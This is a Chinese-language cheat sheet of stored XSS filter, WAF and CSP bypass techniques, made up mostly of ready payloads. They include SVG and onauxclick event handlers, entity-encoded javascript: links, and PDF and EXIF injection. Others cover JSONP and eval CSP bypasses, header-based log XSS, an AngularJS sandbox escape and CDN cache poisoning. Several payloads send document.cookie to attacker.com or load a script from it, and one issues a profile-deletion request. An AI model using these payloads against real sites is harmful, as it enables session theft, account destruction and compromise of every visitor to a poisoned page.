存储型 XSS 的若干绕过方法

HTML 过滤绕过

过滤 `<script>` 标签

可以尝试使用 `<svg>` + `onload`

```
<!-- Most WAFs miss SVG event handlers -->
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <circle cx="50" cy="50" r="40" fill="red"
onmouseover="fetch('/profile/delete')"/>
</svg>
```

过滤器通常允许用于图形的 SVG，但有时会忘记验证事件处理器如 `onmouseover` 。

`javascript:` 被过滤

可以尝试使用 `&colon;` 小技巧：

```
<!-- Bypass colon filters in href/src -->
<a href="java&Tab;script&colon;alert(1)">Click Me (Works in Chrome)</a>
```

真实案例：某CMS系统允许链接中使用 `&Tab;` （URL编码的制表符）和 `&colon;` （HTML实体表示： 冒号）。

`onerror` 被过滤

大多数 WAF 会阻止 `onerror` / `onload` 但会经常忽略（右键单击）之类的新事件，如 `onauxclick` ：

```
<!-- Right-click to trigger (Chrome/Firefox) -->
<img src=x onauxclick="navigator.sendBeacon('https://attacker.com',
document.cookie)">
```

文件上传 XSS

带有嵌入式 JavaScript 的 PDF

```
// Create a PDF that triggers XSS on open
var doc = new jsPDF();
doc.text(20, 20, 'Legit Document');
```

```
doc.addPage();
doc.addLink(0, 0, 100, 100, "javascript:alert(document.domain)");
doc.save('invoice.pdf');
```

上传功能，通常适用于 Foxit Reader 和旧版 Adobe。

绕过图片上传过滤

向 EXIF 元数据注入 XSS：

```
exiftool -Comment='"><img src=x onerror=alert(1)>' image.jpg
```

基于 DOM 的存储型XSS

假设某应用程序通过以下方式渲染用户输入：

```
document.getElementById('user-bio').innerHTML = unsanitizedData;
```

Payload：

```
<img src=x onerror="window.location='https://attacker.com/phish?
cookie='+document.cookie">
```

滥用模板文字

如果用户输入嵌入在 JavaScript 代码中：

```
// Server code: var userBio = `${unsafeInput}`;
```

Payload：

```
${alert(document.domain)}
```

CSP绕过

如果 `script-src 'self'` 启用

在同一域名下找到一处 JSONP 端点：

```
// Normal response: /api/user?callback=legitFunc
// Exploit:
<script src="/api/user?callback=alert(1)//"></script>
```

适用于未验证 `callback` 参数的旧版 API端点。

如果 `unsafe-eval` 被允许

```
<script>
const payload = 'alert("CSP Bypassed")';
setTimeout(eval, 100, payload); // Bypasses "unsafe-eval" regex checks
</script>
```

真实案例中的 Header 与日志 XSS

管理日志中的User-Agent XSS

1. 发送一个带有恶意 User-Agent 的请求：

```
curl -H "User-Agent: <img src=x onerror=alert(document.domain)>"
https://example.com/login
```

2. 如果管理员未对请求日志进行过滤就查看，XSS 将会被触发

X-Forwarded-For XSS

```
curl -H "X-Forwarded-For: <svg onload=alert(1)>" https://example.com
```

适用场景：显示客户端 IP 的应用程序（例如：上次登录来自 IP...）。

高级 AngularJS 绕过

AngularJS 沙盒逃逸

如果应用程序使用 AngularJS（检查 `ng-app` ）：

```
{{x = {'y':''.constructor.prototype}; x.y.z = alert; x.y.z('XSS') }}
```

可以利用原型污染来执行 `alert()` 。

持久化隐蔽技巧

将 XSS 存储在“用户名”字段中

某些应用程序允许你在用户名中设置 HTML：

```
<img src=x onerror=alert(1)>
```

用户名通常被认为是“受信任”的，并且会全局显示。

果然缓存页面

让你的Paylaod被强制进入 CDN 缓存：

```
<script>
fetch('/popular-page', {headers: {'X-Forwarded-Host':
'attacker.com/xss.js'}});
</script>
```

所有访问缓存页面的用户都会执行你的 Payload。